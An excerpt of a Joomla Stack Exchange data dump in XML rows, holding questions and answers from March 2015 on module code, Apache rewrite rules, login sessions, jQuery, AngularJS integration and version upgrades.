  <row Id="8853" PostTypeId="1" CreationDate="2015-03-02T14:24:51.353" Score="1" ViewCount="168" Body="&lt;p&gt;I have got myself a vserver.&lt;br&gt;&#xA;I just thought off rewriting the context of the .htaccess (RewriteRules etc.) into&lt;br&gt;&#xA;my /etc/apache2/sites-availabe/domain.conf .  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this work?&#xA;Or does the .htaccess file have different functions that aren't&lt;br&gt;&#xA;compatible with the apache config files?&lt;/p&gt;&#xA;" OwnerUserId="3799" LastEditorUserId="3799" LastEditDate="2015-03-02T14:29:54.890" LastActivityDate="2015-03-02T18:18:25.700" Title="Rewriting .htaccess into apache config" Tags="|joomla-3.x|.htaccess-configuration|apache|server|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8854" PostTypeId="1" CreationDate="2015-03-02T16:46:20.077" Score="0" ViewCount="50" Body="&lt;p&gt;I am making custom shop module for my website and my script breakes all pages where it is. The command what breaks it is: &lt;code&gt;$session =&amp;amp; JFactory::getSession();&lt;/code&gt;&#xA;(Code putted in default.php). I cant put this in helper as i update the value and i need the updated one. So what i mean with breaks, the template gets broken and leaves the module only. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: The code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session =&amp;amp; JFactory::getSession();&#xA;&#xA;if($_GET['additem'] != &quot;&quot;){&#xA;    for($i = 0; $i &amp;lt; count($items); $i++){&#xA;        if($items[$i][0] == $_GET['additem']){&#xA;            $id = $i;&#xA;        }&#xA;    }&#xA;&#xA;    $cart = $session-&amp;gt;get('cart', array());&#xA;    $cart[count($cart)] = $id;&#xA;&#xA;    $session-&amp;gt;set('cart', $cart);&#xA;}else{&#xA;&#xA;    $cart = $session-&amp;gt;get('cart', array());&#xA;&#xA;}&#xA;&#xA;echo &quot;&amp;lt;table class='table table-hover'&amp;gt;&quot;;&#xA;    echo '&amp;lt;tr&amp;gt;';&#xA;        echo '&amp;lt;th&amp;gt;Id&amp;lt;/th&amp;gt;';&#xA;        echo '&amp;lt;th&amp;gt;Name&amp;lt;/th&amp;gt;';&#xA;        echo '&amp;lt;th&amp;gt;Price&amp;lt;/th&amp;gt;';&#xA;    echo '&amp;lt;/tr&amp;gt;';&#xA;&#xA;    for($i = 0; count($cart); $i++){&#xA;        echo '&amp;lt;tr&amp;gt;';&#xA;            echo '&amp;lt;td&amp;gt;' . $items[$cart[$i]][0] . '&amp;lt;/td&amp;gt;';&#xA;            echo '&amp;lt;td&amp;gt;' . $items[$cart[$i]][1] . '&amp;lt;/td&amp;gt;';&#xA;            echo '&amp;lt;td&amp;gt;' . $items[$cart[$i]][2] . '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;/tr&amp;gt;';&#xA;    }&#xA;&#xA;echo '&amp;lt;/table&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3805" LastEditorUserId="3805" LastEditDate="2015-03-02T16:53:45.677" LastActivityDate="2015-03-03T15:26:51.247" Title="Custom module: JSession brokes the site" Tags="|php|module|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8855" PostTypeId="2" ParentId="8853" CreationDate="2015-03-02T18:18:25.700" Score="2" Body="&lt;p&gt;The Joomla .htaccess includes many rules to rewrite your urls and secure your website. You &lt;em&gt;could&lt;/em&gt; copy them to your vhost configuration, but, frankly, I would'nt recommend it: for starters, it seems like the kind of job giving you no benefit at all. Then some rules may change when you perform an update, and then you'll have to edit your vhost config again.&lt;/p&gt;&#xA;" OwnerUserId="3626" LastActivityDate="2015-03-02T18:18:25.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8856" PostTypeId="1" CreationDate="2015-03-02T20:38:23.087" Score="4" ViewCount="1732" Body="&lt;p&gt;This works great for 3.4 Joomla.  How do I keep the user logged in? i.e. &quot;remember&quot;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JPluginHelper::importPlugin('user');&#xA;$options = array();&#xA;$options['action'] = 'core.login.site';&#xA;$response-&amp;gt;username = &quot;user_name_here&quot;;&#xA;$result = $app-&amp;gt;triggerEvent('onUserLogin', array((array)$response, $options));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$options['remember'] = TRUE doesn't seem to work.  Does anyone know if this particular API call supports a remember me option.  Users stay logged in but are immediately logged out when the browser window is closed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i was able to get remember me working by following tips at this site to fix session.cookie lifetime on the server settings: &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=470&amp;amp;t=457307&amp;amp;start=30&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?f=470&amp;amp;t=457307&amp;amp;start=30&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;added following to index.php in joomla - hopefully helps others out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ini_set('session.cookie_lifetime', 536*60*60);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3790" LastEditorUserId="3650" LastEditDate="2016-03-08T00:27:45.310" LastActivityDate="2018-09-25T23:01:18.083" Title="Joomla 3.4 login api - how to &quot;remember&quot; session" Tags="|joomla-api|joomla-3.4|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8858" PostTypeId="1" AcceptedAnswerId="8859" CreationDate="2015-03-02T22:35:15.713" Score="5" ViewCount="10417" Body="&lt;p&gt;Is there any plugin or extension that able to allow adding Joomla article under many categories?&lt;/p&gt;&#xA;" OwnerUserId="3808" LastEditorUserId="3" LastEditDate="2015-03-11T12:29:50.157" LastActivityDate="2016-11-23T10:38:21.330" Title="How to categorize an Article under many categories?" Tags="|joomla-3.x|content|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8859" PostTypeId="2" ParentId="8858" CreationDate="2015-03-02T22:39:34.607" Score="4" Body="&lt;p&gt;By default, this is not available in Joomla, however you have 2 options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Rather than assigning multiple categories to your article, you could use tags instead. Cause to be honest, this is kinda of what they are used for.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is an extensions called &lt;a href=&quot;http://extensions.joomla.org/extension/cw-multicategories&quot; rel=&quot;nofollow&quot;&gt;CW Multicategories &lt;/a&gt; which does allow you to assign multiple categories to an article. Even though I have not tested this, the ratings and reviews are extremely good so I can only assume it will do exactly what you need it to do.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-02T22:39:34.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8861" PostTypeId="2" ParentId="8843" CreationDate="2015-03-03T01:40:51.163" Score="1" Body="&lt;p&gt;I was able to resolve this issue by adding the reference below, and by following this link :&#xA;&lt;a href=&quot;http://jqueryui.com/datepicker/#min-max&quot; rel=&quot;nofollow&quot;&gt;http://jqueryui.com/datepicker/#min-max&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But because of this, I cannot use the calendar type as the form field for my date fields. I need to use &quot;text&quot; as their type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;  &#xA;    https://ajax.googleapis.com/ajax/libs/jqueryui/1.11.3/jquery-ui.min.js&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used one of my fields as an example, and it worked. except it was using a different UI Calendar than joomla's default calendar&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;jQuery(function() {&#xA;jQuery(&quot;#jform_start_date&quot;).datepicker({ minDate: -20, maxDate: &quot;0&quot; });&#xA; });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="2308" LastEditDate="2015-03-03T02:32:45.390" LastActivityDate="2015-03-03T02:32:45.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8862" PostTypeId="1" AcceptedAnswerId="8867" CreationDate="2015-03-03T03:33:03.110" Score="7" ViewCount="2865" Body="&lt;p&gt;There is very little information out there from users who have successfully integrated angular js in a joomla custom component list view. I found the following: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/23365907/how-to-integrate-angularjs-app-inside-joomla&quot;&gt;https://stackoverflow.com/questions/23365907/how-to-integrate-angularjs-app-inside-joomla&lt;/a&gt;&#xA;and &#xA;&lt;a href=&quot;http://jeviathon.com/2014/06/02/joomla3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://jeviathon.com/2014/06/02/joomla3/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I have read the docs on joomla ajax interface - &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt; - which looks helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My specific project is large j! 3.4 site with a number of custom components kicked off in component-creator.com each with a form, item and list view. My initial goal is to leverage angular on some adapted list views for a slick searching and filtering UX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the recommended practices from the experts? Has anyone done this? What are the steps/pitfalls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="30" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-03-09T18:20:12.310" Title="What is the recommended way to structure a Joomla 3 custom component view using angularJS?" Tags="|joomla-3.x|component|ajax|view|angularjs|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8863" PostTypeId="1" CreationDate="2015-03-03T03:44:52.383" Score="5" ViewCount="1734" Body="&lt;p&gt;What is the recommended way of overriding standard jPagination class to achieve ajax infinite scroll on a joomla! 3 custom component list view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to push the browser state and history after after each pagination/load of more items in the list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;http://infiniteajaxscroll.com/&quot; rel=&quot;nofollow&quot;&gt;this jQuery plugin&lt;/a&gt;, which claims to be simple to implement in joomla and works by overriding the pagination links - not working yet. Will post some code when I get somewhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone successfully achieved this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="30" LastEditorUserId="30" LastEditDate="2015-03-04T18:46:17.283" LastActivityDate="2019-03-15T11:21:39.073" Title="What is best way to implement ajax infinite scroll to a custom component list view?" Tags="|joomla-3.x|ajax|pagination|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8864" PostTypeId="2" ParentId="8846" CreationDate="2015-03-03T10:28:29.370" Score="1" Body="&lt;p&gt;It is not bad by itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is what is the additional load that each call is going to generate. For instance, it is straightforward to add a SQL query, then each call executes a query and the view ends executing N queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, it is a better option to call a trigger an the start or end of iteration, when the item are ready to be generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, JLayouts are an alternative to allow thrid party enhancements, without triggers.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-03-03T10:28:29.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8866" PostTypeId="1" AcceptedAnswerId="8868" CreationDate="2015-03-03T12:01:05.540" Score="0" ViewCount="378" Body="&lt;p&gt;I have been making an article in Joomla, and for doing it more visually, I want to show text when I click in a li.&#xA;The problem is an error appears in the console...&#xA;I don't know if the error it's because the code I've made, JQuery EASY or JCH Optimize...&#xA;This is the code:&#xA;HTML5&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;article-part&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;&amp;lt;strong&amp;gt;Servicios: (Líneas de actividad)&amp;lt;/strong&amp;gt;&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li class=&quot;plegable&quot;&amp;gt;&amp;lt;strong&amp;gt;Header 1&amp;lt;/strong&amp;gt;&#xA;            &amp;lt;p class=&quot;qs-datos&quot;&amp;gt;Content to expand&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;plegable&quot;&amp;gt;&amp;lt;strong&amp;gt;Header 2&amp;lt;/strong&amp;gt;&#xA;            &amp;lt;p class=&quot;qs-datos&quot;&amp;gt;Content to expand&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;plegable&quot;&amp;gt;&amp;lt;strong&amp;gt;Header 3&amp;lt;/strong&amp;gt;&#xA;            &amp;lt;p class=&quot;qs-datos&quot;&amp;gt;Content to expand&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;JQUERY&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;    $('.plegable').on('click', function(){ &#xA;        $(this).next('.plegable &amp;gt; p').slideToggle(); &#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3573" LastEditorUserId="168" LastEditDate="2015-03-03T12:06:57.960" LastActivityDate="2015-04-04T13:23:47.097" Title="Problems making a Toggle" Tags="|joomla-3.x|jquery|error-reporting|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8867" PostTypeId="2" ParentId="8862" CreationDate="2015-03-03T12:10:22.383" Score="7" Body="&lt;p&gt;According to my experience:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;JSON views&lt;/strong&gt;: I have created components based FoF automatic JSON rendering &lt;a href=&quot;https://github.com/akeeba/fof&quot;&gt;https://github.com/akeeba/fof&lt;/a&gt; In this way, it is straightforward to load /get queries. In spite of this, certain tasks can simply be solved with a simple Controller function. With FoF, in a perfect case, you can call an Url (index.php?option=com_todo&amp;amp;view=tasks&amp;amp;format=json) and retrieve JSON output with no additional code. In practice, you may have to define a view/tmpl/tasks_json.php to translate a timezone or encode characters for AngularJS.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;About Joomla Ajax Interface&lt;/strong&gt;: It is a tempting feature, you can simply create a plugin or module to integrate Ajax queries. It is the technology for a module Ajax integration. But, for component development, I opt for JSON generation at the component level for better control.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Module manager&lt;/strong&gt;: AngularJS has its own definition of modules. Most AngularJS Apps are organized in app, controllers and services. On the other hand, Joomla has a simple way to add Javascript to a page (addScript or addScriptDeclaration). So, in any sound project organization, you have plan for a development toolbox to compile all AngularJS files into minimized files.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Joomla MVC &amp;lt;-&gt; AngularJS MV*&lt;/strong&gt; There is no direct translation between both frameworks. Then, Joomla View is just a canvas where AngularJS views live. AngularJS services may match Joomla models/tables.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Security and Authentication&lt;/strong&gt; AngularJS must follow Joomla framework guidelines. Namenly, tokens in $resource and $http queries. All actions must be ACL checked.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-03-03T18:19:40.690" LastActivityDate="2015-03-03T18:19:40.690" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8868" PostTypeId="2" ParentId="8866" CreationDate="2015-03-03T12:12:41.040" Score="0" Body="&lt;p&gt;Firstly, try disabling the JCH Optimize plugin to see if your code works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, then try using &lt;code&gt;jQuery&lt;/code&gt; as the global scope and &lt;code&gt;$&lt;/code&gt; as an alias like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;    $('.plegable').on('click', function(){ &#xA;        $(this).next('.plegable &amp;gt; p').slideToggle(); &#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-03T12:12:41.040" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8869" PostTypeId="2" ParentId="8854" CreationDate="2015-03-03T14:38:29.083" Score="-1" Body="&lt;p&gt;Infinite for loop...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for($i = 0; count($cart); $i++){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for($i = 0; $i &amp;lt; count($cart); $i++){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Forgot the &lt;code&gt;$i &amp;lt; count&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3805" LastEditorUserId="22" LastEditDate="2015-03-03T15:26:51.247" LastActivityDate="2015-03-03T15:26:51.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8870" PostTypeId="2" ParentId="7100" CreationDate="2015-03-03T16:17:10.490" Score="3" Body="&lt;p&gt;You might also find that using a template.css.php - that enables you to merge all css files and compress them works better:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code Example:&#xA;&lt;a href=&quot;https://github.com/Bloggerschmidt/Blank/blob/master/css/template.css.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Bloggerschmidt/Blank/blob/master/css/template.css.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the issues with JCH Optimization is that if you use unset code in your template file index.php - so you can include in your template.css.php file eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unset($this-&amp;gt;_styleSheets[JURI::root(true).'/plugins/system/mijoshopjquery/mijoshopjquery/colorbox/colorbox.css']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will still add the code. So - I typically use the JS-CSS Control plugin to stop the css loading:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla-extensions.kubik-rubik.de/jcc-js-css-control&quot; rel=&quot;nofollow&quot;&gt;https://joomla-extensions.kubik-rubik.de/jcc-js-css-control&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3485" LastEditorUserId="3485" LastEditDate="2015-03-03T16:22:59.890" LastActivityDate="2015-03-03T16:22:59.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8871" PostTypeId="1" AcceptedAnswerId="9952" CreationDate="2015-03-03T16:34:15.857" Score="2" ViewCount="243" Body="&lt;p&gt;I have the following Menu structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Genre&#xA;- Fiction&#xA;- Autobiography&#xA;- Sci Fi&#xA;- Other [class=&quot;hide&quot;]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The menu created is then /genre/fiction/&lt;em&gt;, /genre/other/&lt;/em&gt;. I am trying to not display the /other within the list of menu items which I can easily do by using JavaScript to hide the parent list item. But this is still visible to the crawlers which I am trying to avoid. I could put it under an unpublished/hidden menu but that would mean i loose the top level 'genre' since the /other will become top level since Other won't have any parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the only method I can imagine is to create a mod_menu override (default_url.php) and check for a class set in the backend and if the class is set for any menu item, do not display it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where would the if/else condition go in the following code for it to not appear or at the very least; for there to be no link even if the text is displayed? I tried putting it in line 4 but all the links simply turned into a link to the homepage.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    switch ($item-&amp;gt;browserNav) :&#xA;    default:&#xA;    case 0:&#xA;?&amp;gt;&amp;lt;a &amp;lt;?php echo $class; ?&amp;gt;href=&quot;&amp;lt;?php echo $flink; ?&amp;gt;&quot; &amp;lt;?php echo $title; ?&amp;gt;&amp;gt;&amp;lt;?php echo $linktype; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php&#xA;        break;&#xA;    case 1:&#xA;        // _blank&#xA;?&amp;gt;&amp;lt;a &amp;lt;?php echo $class; ?&amp;gt;href=&quot;&amp;lt;?php echo $flink; ?&amp;gt;&quot; target=&quot;_blank&quot; &amp;lt;?php echo $title; ?&amp;gt;&amp;gt;&amp;lt;?php echo $linktype; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php&#xA;        break;&#xA;    case 2:&#xA;        // window.open&#xA;        $options = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,'.$params-&amp;gt;get('window_open');&#xA;            ?&amp;gt;&amp;lt;a &amp;lt;?php echo $class; ?&amp;gt;href=&quot;&amp;lt;?php echo $flink; ?&amp;gt;&quot; onclick=&quot;window.open(this.href,'targetWindow','&amp;lt;?php echo $options;?&amp;gt;');return false;&quot; &amp;lt;?php echo $title; ?&amp;gt;&amp;gt;&amp;lt;?php echo $linktype; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php&#xA;        break;&#xA;endswitch;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-05-15T16:50:42.703" Title="Hide child menu item based on a class name" Tags="|fix-my-code|menu-item|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8872" PostTypeId="1" AcceptedAnswerId="8876" CreationDate="2015-03-03T17:05:39.803" Score="0" ViewCount="906" Body="&lt;p&gt;I just want to call a specific function in a component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the RokGallery Component in: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;com_rokgallery\lib\RokGallery\Model\file.php &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;there is a function called &lt;code&gt;&amp;amp;createNew&lt;/code&gt; that I need in a module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I can call this from my module and give them specific variables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's already being called in the following file on line 31:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;components\com_rokgallery\lib\RokGallery\Job\Processor\import.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I hope someone can help me ....&lt;/p&gt;&#xA;" OwnerUserId="3809" LastEditorUserId="168" LastEditDate="2015-03-03T17:20:56.773" LastActivityDate="2015-03-03T21:32:53.163" Title="Joomla Component into Module" Tags="|component|module|database|update|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8873" PostTypeId="2" ParentId="7100" CreationDate="2015-03-03T17:09:30.000" Score="1" Body="&lt;p&gt;Stop extensions loading there own css and js and then combine any assets that are actually needed (i.e. 3 x bootstrap.min.css is not needed) in your template, so you're serving 1 minified css and 1 or 2 minified js, both pre-compiled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I do on almost every build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, it's a slight pita. Yes, it will make a huge difference to the performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rule of thumb; don't ask the server to do anything you could do beforehand in your local development environment.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-03-03T17:09:30.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8874" PostTypeId="1" CreationDate="2015-03-03T20:04:46.037" Score="1" ViewCount="733" Body="&lt;p&gt;I have inserted a button in a system plugin that will open an iframe in a modal window. The iframe content is administration login page. The issue is if I am logged in administration, the iframe also will be logged in. Is it possible to load the iframe without session?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://www.example.com/administration&quot; class=&quot;modal-button btn modal&quot; style =&quot;min-width: 194px;&quot; rel=&quot;{handler: \'iframe\', size: {x:window.getSize().x-100, y: window.getSize().y-100}}&quot; id=&quot;modalLink1&quot;&amp;gt;&amp;lt;span class=&quot;icon-screen&quot;&amp;gt; &amp;lt;/span&amp;gt; Preview&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tried:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a preview parameter in the link: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://www.example.com/administrator/index.php?preview=1&quot; class=&quot;modal-button btn modal&quot; style =&quot;min-width: 194px;&quot; rel=&quot;{size: {x:window.getSize().x-100, y: window.getSize().y-100}}&quot;&amp;gt;&amp;lt;span class=&quot;icon-screen&quot;&amp;gt; &amp;lt;/span&amp;gt; Preview&amp;lt;/a&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set a cookie and unset session:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($input-&amp;gt;get-&amp;gt;get('preview', false) === '1') {&#xA;    $input-&amp;gt;cookie-&amp;gt;set('preview', '1', 0, $config-&amp;gt;get('cookie_path'), $config-&amp;gt;get('cookie_domain'), false, true);&#xA;    unset($_SESSION);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This could be a way of doing it?&lt;/p&gt;&#xA;" OwnerUserId="2087" LastEditorUserId="2087" LastEditDate="2015-03-04T22:22:57.500" LastActivityDate="2015-03-04T22:22:57.500" Title="load iframe without session inside administration" Tags="|joomla-3.x|modal|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8875" PostTypeId="1" AcceptedAnswerId="8877" CreationDate="2015-03-03T21:24:40.043" Score="3" ViewCount="122" Body="&lt;p&gt;I have a Joomla testing site where I installed Joomla 3.4 Release Candidate. I'm aware that there's no Upgrade path from beta Versions to final Versions&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...please do not upgrade any of your production sites to the release&#xA;  candidate as it is ONLY intended for testing and there is no upgrade&#xA;  path from pre-release packages.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://www.joomla.org/announcements/release-news/5585-joomla-3-4-rc-released.html&quot; rel=&quot;nofollow&quot;&gt;http://www.joomla.org/announcements/release-news/5585-joomla-3-4-rc-released.html&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is it possible in some way to do this upgrade manually, or force the upgrade to the final Joomla 3.4 release? It would save me some time to be able to continue using the testing environment.&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2015-03-04T16:44:59.187" Title="Upgrade Joomla 3.4 RC to 3.4 final" Tags="|update|cms-testing|joomla-3.4|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8876" PostTypeId="2" ParentId="8872" CreationDate="2015-03-03T21:32:53.163" Score="0" Body="&lt;p&gt;You might try using a plugin called &lt;a href=&quot;http://extensions.joomla.org/profile/extension/core-enhancements/coding-a-scripts-integration/components-anywhere&quot; rel=&quot;nofollow&quot;&gt;Components Anywhere&lt;/a&gt; by NoNumber. You can use it to load a component inside any module (or article) by adding&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {component url/of/the/component}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;anywhere you want the component to be loaded.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-03-03T21:32:53.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8877" PostTypeId="2" ParentId="8875" CreationDate="2015-03-03T22:04:22.140" Score="5" Body="&lt;p&gt;I just did a quick test, and it looks like you can unzip the &lt;a href=&quot;http://www.joomla.org/download.html&quot;&gt;Joomla 3.4 Full package&lt;/a&gt; to your testing environment, overwriting any existing files. After removing the &lt;code&gt;installation&lt;/code&gt; folder (not required for testing releases, but final releases requires you to remove this folder), everything seems to be working, and Joomla admin area reports &lt;code&gt;Joomla! 3.4.0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if this gives a complete upgrade, but for a testing environment it should work fine.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-03-03T22:04:22.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
